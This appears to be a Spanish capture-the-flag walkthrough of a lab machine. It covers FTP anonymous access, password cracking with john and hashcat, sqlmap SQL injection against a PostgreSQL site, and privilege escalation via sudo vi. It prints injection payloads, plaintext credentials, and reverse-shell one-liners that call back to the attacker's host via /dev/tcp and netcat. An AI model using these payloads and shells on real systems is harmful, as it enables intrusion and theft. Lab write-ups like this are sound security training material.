nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| nmap -sVC 10.129.66.130
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-11 16:29 EDT
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 28.95% done; ETC: 16:29 (0:00:20 remaining)
Stats: 0:00:20 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 77.37% done; ETC: 16:29 (0:00:06 remaining)
Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 16:30 (0:00:03 remaining)
Nmap scan report for 10.129.66.130
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.15.157
| Logged in as ftpuser
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
| 256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_ 256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: MegaCorp Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
|
Podemos ver que el puerto 21 esta corriendo el servicio ftp el cual esta configurado por defecto como anonymous
ftp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| ftp 10.129.66.130
Connected to 10.129.66.130.
220 (vsFTPd 3.0.3)
Name (10.129.66.130:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||10423|)
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
226 Directory send OK.
|
al entrar nos damos cuenta que existe un archivo backup.zip el cual descargaremos usando get backup.zip
si hacemos unzip backup.zip
al intentar descomprimir el archivo nos damos cuenta que esta cifrado por lo que usaremos john the ripper con la opcion zip2john
1
| zip2john backup.zip > backuphash
|
con la opcion >
cambiamos el nombre para que podamos ver el hash de la contraseña, ahora le hacemos un cat
para ver si tenemos el hash y si todo esta correcto le pasamos el john
1
2
3
| john -wordlist=/usr/share/wordlists/rockyou.txt backuphash
--Passw: 741852963
|
conseguimos dos archivos: index.php
style.css
el index.php se ve prometedor asi que le hacemos un cat
conseguimos lo que parece ser una contraseña que esta codificada en otro hash. entonces usaremos hashid para intentar saber que tipo de hash es
1
| :hashid 2cb42f8734ea607eefed3b70af13bbd3
|
Podriamos probar con MD2 - MD5 y MD4 que son los mas comunes. para esto usaremos hashcat
1
| hashcat -a 0 -m 0 passwhash /usr/share/wordlists/rockyou.txt
|
Bueno nos guardamos la contraseña probaremos entrar en la direccion web ya que en el reconocimiento nmap nos damos cuenta que tambien tiene el puerto 80 abierto
iniciamos con las credenciales que hemos conseguido
logramos entrar y haciendo unas pruebas rapidas parece que la pag esta conectada a la base de datos y es vulnerable a SQLI.
1
| como podemos saber si es vulnebrable a SQLI. en el buscador ponemos una comilla simple ` y damos enter y vemos que aparece un error. esto se debe a que la pag esta leyendo la comilla como si fuera un caracter alfa numerico y no como un caracter especial como deberia ser
|
para verificar esto usaremos sqlmap
1
2
3
4
5
6
7
8
9
10
11
| sqlmap -u "http://vaccine/dashboard.php?search=a" --cookie="PHPSESSID=0fdem904l7klplg6hs8q1228rg"
-u para indicar la url de la pag
--cookie para indicar la cookie de session
si hacemos sqlmap -h se abre el panel de ayuda y podemos ver que el comando --current-db nos enumera la base de datos actual en la que estamos asi que usaremos ese
tambien podemos ver que existe uno llamado --batch para que realice todas las acciones por defecto sin pregunytarnos nada. asi que el comando nos queda de la sigiente manera:
------------------------------------------------------
sqlmap --current-db -u "http://vaccine/dashboard.php?search=a" --cookie="PHPSESSID=0fdem904l7klplg6hs8q1228rg" --batch
------------------------------------------------------
|
Podemos ver que el resultado:
Podemos notar que existen 4 tipos de inyecciones SQLI y que el nombre de la base de datos es public
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| Parameter: search (GET)
Type: boolean-based blind
Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
Payload: search=a' AND (SELECT (CASE WHEN (1509=1509) THEN NULL ELSE CAST((CHR(101)||CHR(86)||CHR(75)||CHR(74)) AS NUMERIC) END)) IS NULL-- nIOk
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: search=a' AND 2166=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (2166=2166) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(107)||CHR(113)||CHR(113)) AS NUMERIC)-- NgJP
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=a';SELECT PG_SLEEP(5)--
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: search=a' AND 7512=(SELECT 7512 FROM PG_SLEEP(5))-- tfIZ
|
ahora que sabemos el nombre de la base de datos podemos enumerarla usando el mismo comando sqlmap con una pequeña variante:
1
| sqlmap -D public --tables -u "http://vaccine/dashboard.php?search=a" --cookie="PHPSESSID=0fdem904l7klplg6hs8q1228rg" --batch
|
conseguimos una tabla llamada cars asi que buscaremos esa tabla con el siguiente comando
1
| sqlmap -D public -T cars --culumns -u "http://vaccine/dashboard.php?search=a" --cookie="PHPSESSID=0fdem904l7klplg6hs8q1228rg" --batch
|
podemos ver algunas columnas pero si nos fijamos podemos ver que son las mismas que salen ena la pagina web asi que mejor seguimos buascando en sqlmap y podemos encontar la opcion --os-shell
asi que lo usaremos en nuestro codigo.
1
| sqlmap --os-shell -u "http://vaccine/dashboard.php?search=a" --cookie="PHPSESSID=0fdem904l7klplg6hs8q1228rg" --batch
|
de esta manera hemos conseguido una shell interactiva. pero esta shell esta un poco limitada asi que podemos intentar enviarnos una reverse shell a nuestro equipo para poder interactuar de mejor manera.
1
| sh -i >& /dev/tcp/10.10.15.157/8001 0>&1
|
1
| bash -c 'bash -i >& /dev/tcp/10.10.15.157/8001 0>&1'
|
con esta bash notamos que perdemos coneccion. asi que usaremos una enviada por netcat para intentar resolver esto.
1
| rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
|
despues de esto hacemos tratamiento tty y empezamos a examinar la maquina.
vamos a navegar hasta el directorio donde esta alojada la base de datos
passid:
1
| 2cb42f8734ea607eefed3b70af13bbd3
|
db:id
1
2
| user: postgres
password: P@s5w0rd!
|
con estas credenciales podriamos intentar entrar via ssh
hacemos sudo -l para saber cuales son los permiso que tiene el usuario postgres como administrador
1
| /bin/vi /etc/postgresql/11/main/pg_hba.config`
|
vemos que tiene permisos solo en este archivo asi que lo ejecutaremos como administrador
1
| sudo /bin/vi /etc/postgresql/11/main/pg_hba.config
|
abrimos el archivo, y le decimos que nos de una shell y presionamos enter. automaticamente seremos root
WE ARE ROOT